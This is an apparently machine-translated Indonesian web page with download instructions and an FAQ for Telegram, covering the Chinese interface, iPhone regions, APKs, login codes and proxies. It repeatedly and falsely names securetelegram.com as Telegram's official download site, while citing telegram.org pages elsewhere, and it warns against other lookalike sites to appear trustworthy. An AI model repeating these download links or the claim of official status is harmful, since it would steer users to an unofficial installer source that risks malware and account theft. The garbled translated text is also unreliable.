Telegram中文版 Telegram中文版 Unduh

Unduh Telegram

Unduhan Telegram Versi Cina: penginstal resmi untuk setiap platform

Pilih perangkat Anda, unduh Telegram dengan aman dari sumber resmi securetelegram.com, dan beralih ke bahasa Mandarin dalam satu langkah setelah instalasi.

Antarmuka desktop Telegram di MacBook

Antarmuka desktop Telegram

Pilih platform

Pilih perangkat Anda untuk mulai mengunduh

Klik platform yang cocok untuk membuka halaman unduh resmi securetelegram.com, instal sesuai petunjuk, dan setelah instalasi, buka pengaturan untuk beralih ke bahasa Mandarin.

Android

APK Resmi atau Google Play / AppGallery

Unduh untuk Android

iPhone / iPad

App Store dengan ID Apple luar negeri diperlukan

Unduh versi iOS

jendela

Penginstal exe dan versi portabel bebas instalasi

Unduh versi desktop

macOS

Klien asli, mendukung silikon Apple

Unduh versi Mac

Hal terpenting saat mengunduh Telegram adalah mempercayai sumber resminya. Di bawah ini adalah metode pengunduhan resmi dan langkah-langkah instalasi untuk setiap platform, bersama dengan jawaban atas pertanyaan umum seperti versi desktop mana yang harus dipilih, cara menggunakan versi portabel, dan apa yang harus dilakukan jika Anda mengunduh paket ulang.

Unduh dari sumber resmi, percaya securetelegram.com

Semua platform diperoleh dari entri unduhan resmi securetelegram.com, dengan desktop di securetelegram.com/desktop dan Android di securetelegram.com/android.

Bagaimana cara mengunduh aplikasi zhifeiji di iPhone

Zhifeiji adalah Telegram. Di iPhone, perhatikan bahwa Telegram telah dihapus dari App Store Tiongkok daratan, sehingga versi resminya tidak dapat ditemukan dengan ID Apple daratan.

Anda perlu beralih ke atau mendaftarkan ID Apple luar negeri (AS, Hong Kong, Taiwan, dan sebagainya) untuk menemukan dan mengunduhnya, karena aplikasi mana yang ditampilkan App Store bergantung pada wilayah pendaftaran ID Apple, bukan jaringan perangkat. Setelah ditemukan, pastikan untuk memverifikasi bahwa pengembangnya adalah Telegram FZ-LLC / Telegram Messenger resmi, dan jangan mengunduh aplikasi palsu dengan nama yang sama.

Antarmuka iPhone Telegram
Antarmuka Telegram di ponsel

Versi aplikasi desktop Telegram mana yang harus saya unduh, dan dapatkah Windows menginstalnya secara langsung

Unduh versi desktop dari securetelegram.com/desktop resmi; situs secara otomatis mendeteksi sistem Anda dan memberikan penginstal yang cocok (Windows/macOS/Linux).

Windows dapat langsung mengunduh penginstal untuk diinstal dan dijalankan. Klien resminya bersifat open source dan mendukung build yang dapat direproduksi, sehingga secara teknis dapat diverifikasi berdasarkan kode sumber GitHub. Unduh hanya dari sumber resmi, dan jangan gunakan apa pun yang disebut versi desktop Cina atau versi crack hijau.

Bagaimana cara mengunduh dan menginstal Telegram untuk Mac, dan apakah chip M1 berfungsi

Unduh versi Mac dari securetelegram.com/desktop resmi; situs secara otomatis memberikan penginstal yang cocok.

Setelah mengunduh .dmg, klik dua kali untuk membukanya dan seret ikon Telegram ke folder Aplikasi. Aplikasi resmi menyediakan entri klien macOS asli, dan silikon Apple seperti M1 berfungsi normal (diperlukan konfirmasi langsung tentang versi untuk model Anda). Unduh hanya dari sumber resmi, untuk menghindari pengemasan ulang pihak ketiga.

Bagaimana cara download untuk Android/iPhone/desktop masing-masing

Untuk Android, pilih APK resmi; untuk iPhone, diperlukan App Store di luar negeri; untuk desktop, kunjungi securetelegram.com/desktop, yang secara otomatis mendeteksi sistem Anda dan memberikan penginstalnya.

Buka halaman unduhan resmi

Buka securetelegram.com di browser, dan pilih penginstal yang cocok untuk sistem Anda.

Instal dan buka

Instal APK di Android, jalankan penginstal di komputer, dan instal dari App Store luar negeri di iPhone.

Masuk dengan nomor telepon

Masukkan nomor telepon dalam format internasional, dan terima kode verifikasi untuk menyelesaikan login.

Beralih ke Bahasa Mandarin Sederhana

Buka Pengaturan > Bahasa dan pilih Bahasa Mandarin Sederhana.

Dimana cara download file APK dianbao versi China, dan apakah aman

Tidak ada APK resmi versi Cina; Bahasa Cina hanyalah bahasa antarmuka. APK Android harus asli resmi yang diunduh dari situs resmi securetelegram.com/android, dan setelah instalasi, buka Pengaturan > Bahasa untuk beralih ke bahasa Mandarin.

Versi bahasa Mandarin atau APK yang dilokalkan secara online tersebut merupakan paket ulang pihak ketiga dan berisiko sangat tinggi: ada saluran tiruan yang meniru terjemahan bahasa Mandarin Sederhana yang menyebarkan trojan pengunduh, dengan langganan yang pernah mencapai sekitar 800 ribu; setelah dijalankan, ia mengunduh modul berbahaya dan melewati perangkat lunak keamanan. Pastikan untuk mengunduh hanya dari sumber resmi securetelegram.com.

Apakah ada tutorial lengkap pengunduhan dan pemasangan Telegram, dan langkah mana yang harus dilihat oleh pengguna pertama kali

Langkah-langkahnya sederhana: 1) Unduh dari sumber resmi, Android securetelegram.com/android, desktop securetelegram.com/desktop.

Untuk pertama kalinya, hal yang paling penting adalah mempercayai sumber resmi untuk mengunduh, dan tidak mengunduh paket ulang pihak ketiga.

Dapatkah saya mengunduh tg dari Apple App Store, dan apa yang harus saya lakukan jika saya tidak dapat menemukannya

Anda dapat mendownloadnya, tetapi itu tergantung pada wilayah pendaftaran ID Apple Anda. Telegram telah dihapus dari App Store Tiongkok daratan, sehingga tidak dapat ditemukan dengan ID Apple daratan.

Solusinya adalah dengan beralih atau mendaftarkan Apple ID di luar negeri (US, Hongkong, Taiwan, dan lain sebagainya), lalu cari di App Store untuk menemukannya, karena yang ditampilkan toko bergantung pada wilayah ID Apple, bukan jaringan perangkat. Setelah ditemukan, verifikasi pengembangnya adalah Telegram FZ-LLC / Telegram Messenger resmi.

Versi portabel, pembaruan, dan pilihan versi

Desktop menawarkan versi Portable yang bebas instalasi; setelah menginstal dari sumber resmi, ia menerima pembaruan secara otomatis, tanpa perlu mengunduh ulang secara manual.

Apa perbedaan Telegram asli dan versi China, dan mana yang lebih baik untuk diunduh

Tidak ada aplikasi terpisah yang disebut versi Cina. Setiap platform menggunakan klien asli resmi yang sama, dan versi Tiongkok hanya mengacu pada peralihan bahasa antarmuka ke bahasa Mandarin.

Jadi untuk mendownloadnya cukup download yang asli resmi (securetelegram.com), dan setelah instalasi masuk ke Pengaturan > Bahasa dan pilih Bahasa Mandarin Sederhana. Yang mengklaim sebagai versi China atau versi lokal sebagian besar merupakan paket ulang pihak ketiga, dengan risiko pencurian akun dan trojan yang tertanam, jadi jangan mengunduhnya.

Apakah Telegram Versi China dibuat oleh tim resmi atau dilokalkan oleh pihak ketiga, dan apakah aman

Tim resmi belum merilis aplikasi versi China secara terpisah. Antarmuka berbahasa Mandarin adalah opsi bahasa yang terpasang pada klien resmi (sejak April 2026, aplikasi resmi telah dibuat dalam bahasa Mandarin Sederhana dan Tradisional).

Namun penginstal versi China yang dikemas secara terpisah atau versi lokal di pasaran pada dasarnya dimodifikasi oleh pihak ketiga dan tidak aman: muncul saluran tiruan yang meniru terjemahan China Sederhana yang menyebarkan trojan pengunduh, dengan langganan sekali sekitar 800 ribu; ada juga kasus peniruan paket lokalisasi untuk menyebarkan kendali jarak jauh dan trojan phishing. Pendekatan yang aman adalah mengunduh yang asli resmi hanya dari securetelegram.com, lalu beralih ke bahasa Mandarin di bawah Pengaturan > Bahasa.

Antarmuka klien Telegram Android
Antarmuka klien Telegram Android

Sumber: Situs resmi desktop Telegram · Toko Aplikasi Apple · Google Bermain · Situs resmi Telegram

FAQ

Pertanyaan yang sering diajukan tentang pengunduhan dan pemasangan

Di sini kami menjawab pertanyaan umum tentang saluran unduhan, kompatibilitas sistem, versi portabel, dan pembaruan satu per satu.

Dimana saya bisa mendownload installer Telegram Versi China yang asli?
Sebenarnya tidak ada installer Telegram Versi Cina yang terpisah. Setiap platform menggunakan klien resmi yang sama, dan versi Tiongkok berarti mengalihkan antarmuka ke bahasa Mandarin, bukan menginstal paket lokalisasi terpisah atau versi modifikasi pihak ketiga. Aplikasi asli hanya berasal dari sumber resmi: entri unduhan utama adalah securetelegram.com, desktop adalah securetelegram.com/desktop, dan Android adalah securetelegram.com/android. Penginstal online berbahasa Mandarin, yang dilokalkan, di-crack, atau dipercepat tersebut sebagian besar merupakan paket ulang pihak ketiga, dengan risiko trojan yang tertanam dan pencurian akun, jadi hindari semuanya.
Yang manakah alamat pengunduhan resmi Telegram, dan bagaimana cara mengonfirmasi bahwa itu bukan situs phishing?
Entri unduhan resmi utama adalah securetelegram.com, desktop adalah securetelegram.com/desktop, dan Android adalah securetelegram.com/android. Percayai domain securetelegram.com itu sendiri; situs seperti telegram-ios.com, telegramshk.com, atau sites.google.com/view/ bukan domain resmi dan sebagian besar menawarkan pengemasan ulang atau pengalihan lalu lintas, jadi hindari situs tersebut. Saat mengunduh dari toko aplikasi, verifikasi juga bahwa pengembangnya adalah Telegram FZ-LLC / Telegram Messenger resmi, dan jangan tertipu oleh situs palsu dan aplikasi palsu dengan nama dan ikon yang sama.
Bagaimana cara mengunduh dan menginstal aplikasi Telegram Android?
Pengunduhan Android memiliki urutan prioritas: pilihan pertama adalah situs resmi securetelegram.com/android untuk mengunduh APK secara langsung, lalu Google Play, dan perangkat tanpa layanan Google seperti Huawei dapat mencari Telegram di AppGallery. APK yang diunduh dari situs resmi akan secara otomatis menerima pembaruan dari sumber resmi setelah instalasi. Usahakan untuk tidak mengunduh dari situs APK pihak ketiga, karena paket tersebut berisiko dipalsukan, dikemas ulang, atau memiliki izin berisiko tinggi. Setelah instalasi, defaultnya adalah bahasa Inggris; buka Pengaturan > Bahasa untuk beralih ke bahasa Mandarin.
Bisakah saya mengunduh Telegram langsung di Tiongkok daratan, dan apakah saya memerlukan VPN?
Pengunduhan dan penggunaan Telegram dibatasi di daratan Tiongkok: di iPhone, karena telah dihapus dari App Store daratan, diperlukan ID Apple luar negeri; di Android, Anda dapat mengunduh APK dari situs resmi securetelegram.com/android. Bahkan setelah instalasi, menghubungkan ke server Telegram di daratan biasanya juga memerlukan lingkungan jaringan yang dapat digunakan, jika tidak maka akan terus gagal tersambung. Aplikasi resmi menyediakan proxy MTProto bawaan di core.telegram.org/proxy untuk mengatasi pembatasan. Untuk pendekatan spesifik yang dapat digunakan, harap konfirmasi langsung sesuai dengan situasi lokal Anda.
Bisakah Telegram ditemukan dan diunduh di Apple App Store Hong Kong?
Ya. Aplikasi mana yang ditampilkan App Store bergantung pada wilayah pendaftaran ID Apple; ID Apple Hong Kong dapat menemukan dan mengunduh Telegram resmi. Jika saat ini Anda menggunakan ID Apple daratan dan tidak dapat menemukannya, beralihlah ke ID Apple Hong Kong (atau di luar negeri lainnya) dan cari lagi. Saat mengunduh, verifikasi bahwa pengembangnya adalah Telegram FZ-LLC / Telegram Messenger resmi, dan jangan mengunduh aplikasi palsu.
Bagaimana cara mengunduh Telegram Versi Cina di iPhone Taiwan?
IPhone Taiwan dapat menemukan dan mengunduh Telegram resmi di App Store dengan ID Apple Taiwan (App Store menampilkan aplikasi berdasarkan wilayah ID Apple). Tidak ada versi bahasa Mandarin yang terpisah; cukup unduh yang asli resmi. Setelah instalasi, buka Pengaturan > Bahasa dan pilih Bahasa Mandarin Tradisional atau Bahasa Mandarin Sederhana, tanpa paket bahasa pihak ketiga apa pun. Saat mengunduh, percayalah bahwa pengembangnya adalah Telegram FZ-LLC / Telegram Messenger resmi.
Apakah ponsel Android Singapura perlu berpindah wilayah untuk mengunduh dianbao?
Pengunduhan Android tidak memerlukan perubahan wilayah; langsung aja download APK nya di situs resmi securetelegram.com/android, atau cari Telegram di Google Play. Saat mendaftar, gunakan nomor telepon format internasional Singapura yang dimulai dengan +65. Setelah instalasi, buka Pengaturan > Bahasa dan pilih Bahasa Mandarin Sederhana. Mengubah wilayah hanyalah sesuatu yang dibutuhkan iPhone (App Store menampilkan aplikasi berdasarkan wilayah ID Apple); Android tidak tunduk pada batasan ini.
Untuk download telegram di Malaysia apakah harus menggunakan Google Play atau apk situs resminya?
Keduanya berfungsi, dengan prioritas: unduh APK langsung dari situs resmi securetelegram.com/android, lalu Google Play. APK yang diunduh dari situs resmi secara otomatis menerima pembaruan dari sumber resmi setelah instalasi, aman dan andal. Jika perangkat tidak memiliki layanan Google (seperti Huawei), cari Telegram di toko AppGallery. Saat mendaftar, gunakan nomor telepon format internasional Malaysia yang dimulai dengan +60. Apa pun yang Anda pilih, jangan mengunduh paket ulang dari situs APK pihak ketiga.
Bagaimana cara download telegram di hp Android tanpa Google Play?
Itu dapat diinstal dengan baik tanpa Google Play. Kunjungi saja situs resmi securetelegram.com/android untuk mengunduh dan menginstal APK resmi; setelah instalasi secara otomatis menerima pembaruan dari sumber resmi, tanpa bergantung pada Google Play. Perangkat seperti Huawei juga dapat mencari Telegram di AppGallery. Catatan: jangan mengunduh dari situs APK pihak ketiga yang tidak diketahui asalnya, karena paket tersebut berisiko dipalsukan, dikemas ulang, atau memiliki izin berisiko tinggi.
Bisakah saya menginstal telegram di ponsel Huawei tanpa layanan Google, dan di mana saya mengunduh apknya?
Ya, itu bisa diinstal. Huawei dapat mencari Telegram di AppGallery untuk mengunduh, atau Anda dapat langsung membuka situs resmi securetelegram.com/android untuk mengunduh dan menginstal APK resmi. APK yang diunduh dari situs resmi secara otomatis menerima pembaruan dari sumber resmi setelah instalasi, tanpa memerlukan layanan Google. Pastikan untuk tidak mengunduh dari situs APK pihak ketiga, karena paket tersebut berisiko dipalsukan, dikemas ulang, atau memiliki izin berisiko tinggi; percayalah hanya pada sumber resmi.
Bisakah saya mengunduh telegram di iPhone tanpa mengubah wilayah?
Jika ID Apple Anda berada di wilayah daratan, Anda tidak dapat mendownloadnya; Telegram telah dihapus dari App Store Tiongkok daratan, sehingga versi resminya tidak dapat ditemukan dengan ID Apple daratan. Aplikasi mana yang ditampilkan App Store bergantung pada wilayah pendaftaran ID Apple, bukan jaringan perangkat, jadi Anda harus beralih ke atau mendaftarkan ID Apple luar negeri (AS, Hong Kong, Taiwan, dan sebagainya) untuk mengunduhnya. Jika Anda sudah memiliki ID Apple di luar negeri, Anda dapat mencari dan mendownloadnya langsung.
Telegram yang diunduh secara default adalah bahasa Inggris; bagaimana cara beralih ke antarmuka Cina?
Jalurnya sama di semua platform untuk Telegram Versi Mandarin: buka aplikasi > Pengaturan (roda gigi di kanan bawah pada ponsel, menu tiga baris di kiri atas pada desktop) > Bahasa > pilih Mandarin Sederhana (Cina Sederhana) atau Mandarin Tradisional (Cina Tradisional). Sejak April 2026, aplikasi resmi dibuat dalam bahasa Mandarin Sederhana dan Tradisional; ini akan berlaku setelah dipilih, tanpa perlu mengetuk tautan eksternal apa pun atau menginstal paket bahasa pihak ketiga.
Bagaimana cara mengatur telegram ke Bahasa Mandarin Sederhana, dan apa yang harus saya lakukan jika tidak ada opsi Bahasa Mandarin?
Untuk Telegram Versi Mandarin, buka aplikasi > Pengaturan > Bahasa > pilih Mandarin Sederhana. Sejak April 2026, aplikasi resmi dibuat dalam bahasa Mandarin Sederhana dan Tradisional, sehingga aplikasi ini ada dalam daftar setelah diperbarui ke versi terbaru. Jika Anda tidak melihat bahasa Mandarin di daftar Anda, perbarui aplikasi ke versi terbaru terlebih dahulu dan lihat lagi; versi yang lebih lama mungkin memerlukan metode tautan dalam resmi untuk menerapkan paket bahasa komunitas (kirim tautan resmi t.me/setbahasa dalam obrolan lalu ketuk untuk menerapkan). Catatan: gunakan hanya tautan resmi, dan jangan instal paket bahasa pihak ketiga yang tidak diketahui asalnya.
Setelah download telegram apakah saya harus mendaftar dengan nomor telepon atau bisa menggunakan email?
Anda harus mendaftar dengan nomor telepon; akun Telegram hanya dapat diikat ke nomor telepon (telepon rumah tidak didukung), dan Anda tidak dapat mendaftarkan akun baru dengan email entah dari mana. Email hanyalah metode login cadangan untuk pengguna dengan akun yang sudah cukup sering login; Anda harus mengikat email Anda terlebih dahulu dalam verifikasi dua langkah sebelum kode login dikirim ke email, dan ini bukan metode pendaftaran. Masukkan nomor telepon dalam format internasional, misalnya Singapura +65, Malaysia +60, Taiwan +886.
Apa yang harus saya lakukan jika saya tidak menerima SMS kode verifikasi saat mendaftar telegram?
Pecahkan masalah dalam urutan ini: 1) Konfirmasikan bahwa Anda dapat terhubung secara stabil ke server Telegram (saat jaringan mati, permintaan untuk mengirim kode tidak dapat dikirim sendiri); 2) Pastikan kode negara dan format angka sudah benar (misalnya, untuk Taiwan +886, hilangkan angka 0 di depannya dan langsung mulai dari 9); 3) Periksa folder spam/pesan yang diblokir di ponsel Anda; 4) Untuk nomor +86 daratan, konfirmasikan bahwa penerimaan SMS Internasional dan Hong Kong/Makau/Taiwan diaktifkan (dinonaktifkan secara default di banyak wilayah sejak Mei 2022); 5) Jangan terus-menerus mengetuk kirim ulang; tunggu 5-10 menit di antara upaya, jika tidak maka akan memicu pengendalian risiko dan pengiriman ditangguhkan; 6) Jika masih gagal, gunakan nomor telepon asli lain atau ajukan banding melalui telegram.org/support.
Saya tetap tidak menerima kode verifikasi telegram; berapa lama sampai dikirim ulang?
Untuk Telegram Versi China, jangan terus-terusan tap kirim ulang; ketukan berulang dalam waktu singkat memicu pengendalian risiko, dinilai sebagai aktivitas mencurigakan, dan pengiriman ditangguhkan; ada juga batasan di sisi operator (beberapa sumber mengatakan satu nomor dapat menerima paling banyak sekitar 10 kode verifikasi dalam waktu 24 jam). Disarankan menunggu 5-10 menit di antara setiap upaya; jika sudah terkunci, tunggu sekitar 24 jam dan coba lagi atau gunakan banding resmi. Pada saat yang sama, konfirmasikan bahwa jaringan dapat terhubung ke server dan format nomor sudah benar, periksa folder SMS spam, dan untuk nomor daratan juga konfirmasikan bahwa penerimaan SMS internasional diaktifkan.
Setelah install telegram, bagaimana cara login pertama kali, dan langkah apa saja yang diperlukan?
Untuk Telegram Versi China, login pertama menggunakan nomor telepon: 1) Buka aplikasi, pilih kode negara wilayah Anda (seperti Singapura +65, Malaysia +60, Taiwan +886), dan masukkan nomor telepon Anda; 2) Tunggu untuk menerima kode verifikasi SMS dan masukkan (sekitar 1-2 menit); 3) Ikuti petunjuk untuk menetapkan nama panggilan, avatar, dan sebagainya untuk menyelesaikan pembuatan akun. Jika Anda telah mengaktifkan verifikasi dua langkah, Anda juga perlu memasukkan kembali kata sandi verifikasi dua langkah. Disarankan untuk mengaktifkan verifikasi dua langkah untuk melindungi akun Anda setelah login, dan jangan mengirimkan kode verifikasi Anda kepada siapa pun.
Bagaimana cara saya masuk ke akun ponsel saya pada versi desktop telegram dengan memindai kode QR?
Versi desktop mendukung login ke akun yang ada dengan kode QR: pilih metode login kode QR di layar login desktop, lalu di ponsel buka Telegram > Pengaturan > Perangkat > Pindai kode QR (Tautkan Perangkat Desktop), dan arahkan ke kode QR di layar komputer untuk memindainya untuk login yang disinkronkan. Telegram secara resmi mendukung berbagai metode login, termasuk kode QR. Nama menu spesifik bergantung pada versi klien Anda (diperlukan konfirmasi langsung).
Setelah download dan install telegram tidak terbuka dan berputar terus serta tidak bisa konek; apa yang harus saya lakukan?
Berputar terus dan tidak dapat terhubung biasanya karena lapisan jaringan tidak dapat menjangkau server Telegram, bukan karena aplikasinya rusak. Pertama-tama konfirmasikan bahwa lingkungan jaringan Anda saat ini dapat mengakses Telegram secara normal (beberapa wilayah memerlukan lingkungan jaringan yang dapat digunakan, jika tidak maka tidak dapat terhubung). Aplikasi resmi menyediakan proxy MTProto bawaan di core.telegram.org/proxy, khusus untuk mengatasi pembatasan akses Telegram; itu menyembunyikan IP Anda dan mengaburkan lalu lintas, sehingga sulit bagi operator untuk mengidentifikasinya. Konfigurasikan secara khusus di Pengaturan > Data dan Penyimpanan > Proksi (diperlukan konfirmasi langsung).
Mengapa telegram menunjukkan koneksi dan gagal terhubung?
Terjebak saat menyambung biasanya karena sambungan dari jaringan ke server Telegram dibatasi atau tidak stabil; di beberapa wilayah, operator membatasi akses Telegram sehingga menyebabkan kegagalan koneksi, dan ini bukan kesalahan aplikasi itu sendiri. Aplikasi resmi menyediakan proxy MTProto bawaan (core.telegram.org/proxy) khusus untuk mengatasi pemblokiran semacam ini; hal ini membuat lalu lintas Telegram sulit diidentifikasi oleh operator dengan menyembunyikan IP dan mengaburkan lalu lintas. Anda dapat mengonfigurasi proksi yang dapat digunakan dalam pengaturan proksi klien dan mencoba lagi (konfigurasi spesifik memerlukan konfirmasi langsung).